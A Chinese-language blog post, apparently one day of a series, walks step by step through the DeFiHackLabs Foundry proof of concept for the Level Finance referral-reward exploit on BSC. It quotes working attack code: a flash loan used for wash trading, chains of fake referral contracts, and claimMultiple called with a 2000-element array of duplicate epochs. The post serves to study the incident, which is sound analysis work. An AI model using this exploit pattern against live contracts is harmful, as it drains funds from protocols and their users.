Day 7 講 Level Finance 的時候,只說了 DeFiHackLabs 把根因記成「陣列沒有檢查重複元素」,還有 PoC 會用一個長度 2000 的陣列去領獎勵。這篇回頭把整份 Level Finance PoC 一段一段看完,看攻擊者從頭到尾做了哪些事。
PoC 開頭的註解先交代了這起事件的資料:
// @Analysis
// https://twitter.com/peckshield/status/1653149493133729794
// https://twitter.com/BlockSecTeam/status/1653267431127920641
// @TX
// https://bscscan.com/tx/0x6aef8bb501a53e290837d4398b34d5d4d881267512cfe78eb9ba7e59f41dad04
// https://bscscan.com/tx/0xe1f257041872c075cbe6a1212827bc346df3def6d01a07914e4006ec43027165
// @Summary
// Lack of checking for duplicate elements in arrays
@Analysis 是 PeckShield 和 BlockSec 當時的分析,@TX 是兩筆攻擊交易,@Summary 就是 DeFiHackLabs 記的根因。DeFiHackLabs 的 PoC 大多都有這幾欄,想追原始資料可以從這裡開始。
function setUp() public {
cheats.createSelectFork("bsc", 27_830_139);
...
}
createSelectFork 會把 BSC 在區塊 27,830,139 的狀態 fork 下來,測試就跑在那個時間點的鏈上。所以 PoC 裡呼叫的 LevelReferralControllerV2、pool、DODO 都是鏈上真的合約,不是自己寫的。也因為這樣,要跑這份 PoC 需要一個能讀歷史狀態的 BSC RPC。
PoC 裡有三個合約:
ContractTest:攻擊主體,也是測試本身。Exploiter:第二個攻擊帳戶。它的 constructor 會把 ContractTest 設成自己的 referrer。Referral:只有一個 constructor,呼叫 setReferrer 把某個地址設成自己的 referrer,之後就沒用了。LevelReferralControllerV2 是 Level Finance 的轉介紹獎勵合約,被轉介紹的人交易越多,referrer 能領的獎勵就越多。這三個合約都是為了在這套規則裡,替攻擊者製造出轉介紹關係和交易量。
function testExploit() external {
deal(address(WBNB), address(this), 95 * 1e18);
exploiter = new Exploiter(address(this));
LevelReferralControllerV2.setReferrer(address(exploiter));
createReferral();
WashTrading();
vm.warp(block.timestamp + 1 * 60 * 60);
vm.startPrank(0x6023C6afa26a68E05672F111FdbB1De93cBAc621);
LevelReferralControllerV2.setEnableNextEpoch(true);
LevelReferralControllerV2.nextEpoch();
vm.stopPrank();
vm.warp(block.timestamp + 60 * 60);
claim();
vm.warp(block.timestamp + 5 * 60 * 60);
for (uint256 i; i < 11; i++) {
claimReward(2000);
vm.warp(block.timestamp + i * 15);
}
...
}
照順序拆開來看。
deal 是 Foundry 的 cheatcode,直接給 ContractTest 95 顆 WBNB 當本金。
接著部署 Exploiter,Exploiter 把 ContractTest 設成 referrer;ContractTest 再把 Exploiter 設成自己的 referrer。兩個帳戶互相轉介紹。
createReferral() 再各部署 15 個 Referral,分別掛在 Exploiter 和 ContractTest 底下:
function createReferral() internal {
for (uint256 i; i < 15; i++) {
new Referral(address(exploiter));
}
for (uint256 i; i < 15; i++) {
new Referral(address(this));
}
}
function WashTrading() internal {
DVM(dodo).flashLoan(300 * 1e18, 0, address(this), abi.encode(uint256(20)));
}
跟 DODO 借 300 顆 WBNB。DODO 把錢轉過來之後,會回呼 DPPFlashLoanCall:
for (uint256 i; i < amount; i++) {
WBNB.transfer(address(pool), WBNB.balanceOf(address(this)));
pool.swap(address(WBNB), address(USDT), 1, address(this), abi.encode(address(exploiter)));
USDT.transfer(address(pool), USDT.balanceOf(address(this)));
pool.swap(address(USDT), address(WBNB), 1, address(this), abi.encode(address(exploiter)));
}
WBNB.transfer(address(exploiter), WBNB.balanceOf(address(this)));
exploiter.swap(20);
WBNB.transfer(dodo, 300 * 1e18);
在 Level Finance 的 pool 把全部的 WBNB 換成 USDT,再換回來,重複 20 次。swap 最後一個參數帶的是 exploiter 的地址,這筆交易量會算在轉介紹關係上。
做完之後把 WBNB 全部轉給 Exploiter,換它用同樣方式來回換 20 次,最後把 300 顆 WBNB 還給 DODO。
這一步不是為了賺價差,來回換只會被收手續費。攻擊者要的是交易量,交易量越大,轉介紹獎勵就越多。
vm.warp(block.timestamp + 1 * 60 * 60);
vm.startPrank(0x6023C6afa26a68E05672F111FdbB1De93cBAc621);
LevelReferralControllerV2.setEnableNextEpoch(true);
LevelReferralControllerV2.nextEpoch();
vm.stopPrank();
vm.warp 把時間往後調一小時,vm.startPrank 假扮成 0x6023…c621 這個地址,呼叫 setEnableNextEpoch 和 nextEpoch。
這段是 PoC 在模擬 epoch 自然結束,讓剛剛那一期的獎勵變成可以領。真實攻擊裡,攻擊者不會有這個地址的權限,是等 epoch 正常結束。
function claim() internal {
LevelReferralControllerV2.claimable(13, address(this));
uint256 tokenID = LevelReferralControllerV2.currentEpoch() - 1;
LevelReferralControllerV2.claim(tokenID, address(this));
exploiter.claim(tokenID);
}
currentEpoch() - 1 是上一期,也就是剛剛洗完交易量的那一期。ContractTest 和 Exploiter 各用 claim 正常領了一次。
function claimReward(uint256 amount) internal {
uint256 tokenID = LevelReferralControllerV2.currentEpoch() - 1;
uint256[] memory _epoches = new uint256[](amount);
for (uint256 i; i < amount; i++) {
_epoches[i] = tokenID;
}
LevelReferralControllerV2.claimable(_epoches[0], address(this));
LevelReferralControllerV2.claimMultiple(_epoches, address(this));
exploiter.claimMultiple(amount);
}
做一個長度 2000 的陣列,2000 個元素全部是同一期。ContractTest 用這個陣列呼叫 claimMultiple,Exploiter.claimMultiple 也用同樣的方式再領一次。
testExploit 把 claimReward(2000) 放在迴圈裡跑了 11 次,每次中間把時間往後調一點。
漏洞就在這一步。前面四步都是一般使用者也做得到的事:綁轉介紹、交易、等 epoch 結束、領獎勵。只有這一步把同一期塞進陣列 2000 次。
PoC 能證明的是:在區塊 27,830,139 的狀態下,照這個順序呼叫,攻擊者的 LVL 餘額會增加。測試最後會印出 Attacker LVL Token balance after exploit。
PoC 本身只呼叫 LevelReferralControllerV2,看不到它裡面怎麼寫。鏈上被攻擊的是 proxy 0x9770…063a 後面的實作合約 0x0e6d6c…,驗證過的原始碼可以在 BscScan 上看到。它的 claimMultiple 長這樣:
function claimMultiple(uint256[] calldata _epoches, address _to) external {
uint256 totalReward;
for (uint256 i = 0; i < _epoches.length; ++i) {
uint256 epoch = _epoches[i];
if (epoch < currentEpoch) {
uint256 reward = claimable(epoch, msg.sender);
if (reward > 0) {
users[epoch][msg.sender].claimed += reward;
totalReward += reward;
emit Claimed(epoch, _to, reward);
}
}
}
LVL.safeTransfer(_to, totalReward);
}
_epoches 確實沒有檢查重複。但只看這段會覺得奇怪:每領一次就 claimed += reward,而 claimable 最後回傳的是 reward - user.claimed,照理說同一個 epoch 第二次進迴圈應該算出 0,第 4 步已經用 claim 正常領過一次,後面也應該領不到。
可是 PoC 真的領到了。所以「沒有檢查重複」只說了一半,另一半要實際把 PoC 跑起來,看 trace 裡每一次 claimable 回傳了多少,才看得清楚。
另外,整個流程裡跟漏洞直接有關的只有第 5 步。第 1、2 步決定能領多少,第 3 步是 PoC 為了在 fork 上重現而加的。之後幾天寫測試,重點都會放在第 5 步。
將把 PoC 跑起來,看 trace 裡重複的 epoch 每一次 claimable 回傳多少,找出 claimed 為什麼沒擋住。